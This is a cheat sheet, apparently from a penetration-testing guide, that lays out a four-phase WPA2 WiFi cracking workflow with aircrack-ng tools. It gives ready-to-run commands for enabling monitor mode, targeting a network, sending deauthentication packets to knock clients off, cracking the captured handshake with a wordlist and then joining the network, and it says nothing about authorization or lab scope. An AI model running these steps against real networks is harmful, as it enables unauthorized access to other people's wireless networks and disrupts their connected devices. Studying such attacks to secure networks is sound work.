WORKFLOW OVERVIEW
The standard WPA2 cracking process follows 4 phases:
1. Enable monitor mode →
2. Scan & capture handshake →
3. Crack password →
4. Connect
PHASE 1 — MONITOR MODE (airmon-ng)
iwconfig — check wireless interfaces
airmon-ng check kill — kill interfering processes
airmon-ng start wlan0 — enable monitor mode → wlan0mon
airmon-ng stop wlan0mon — disable monitor mode
PHASE 2 — CAPTURE HANDSHAKE (airodump-ng + aireplay-ng)
# Step 1: Scan all networks
airodump-ng wlan0mon
# Step 2: Focus on target BSSID + channel
airodump-ng -c <CH> --bssid <BSSID> -w capture wlan0mon
# Step 3: Force client reconnect (deauth attack)
aireplay-ng --deauth <count> -a <BSSID> wlan0mon
The deauth attack disconnects clients from the AP, forcing them to re-authenticate and generating the WPA2 4-way handshake.
PHASE 3 — CRACK PASSWORD (aircrack-ng)
aircrack-ng capture.cap -w wordlist.txt
A dictionary attack tests each word in the wordlist as a potential WPA2 passphrase. Weak/common passwords like password123 are cracked in seconds.
PHASE 4 — CONNECT TO NETWORK
# Connect using cracked password
iwconfig wlan0 essid "SSID" key PASSWORD
# Verify IP assignment
ifconfig
AIRODUMP-NG OUTPUT GUIDE
| COLUMN |
MEANING |
| BSSID | MAC address of the access point |
| PWR | Signal strength (closer to 0 = stronger) |
| CH | WiFi channel (1–13 for 2.4GHz) |
| ENC | Encryption type (WPA2, WPA, WEP, OPN) |
| ESSID | Network name (SSID) |
| STATION | MAC of connected client device |
WPA2 4-WAY HANDSHAKE EXPLAINED
When a client connects to a WPA2 network, a 4-message exchange occurs between the client and access point to derive encryption keys. This handshake contains enough information to perform an offline dictionary attack — no connection to the AP is needed after capture.
The handshake is captured passively (client reconnects naturally) or actively via a deauthentication attack that forces clients to reconnect immediately.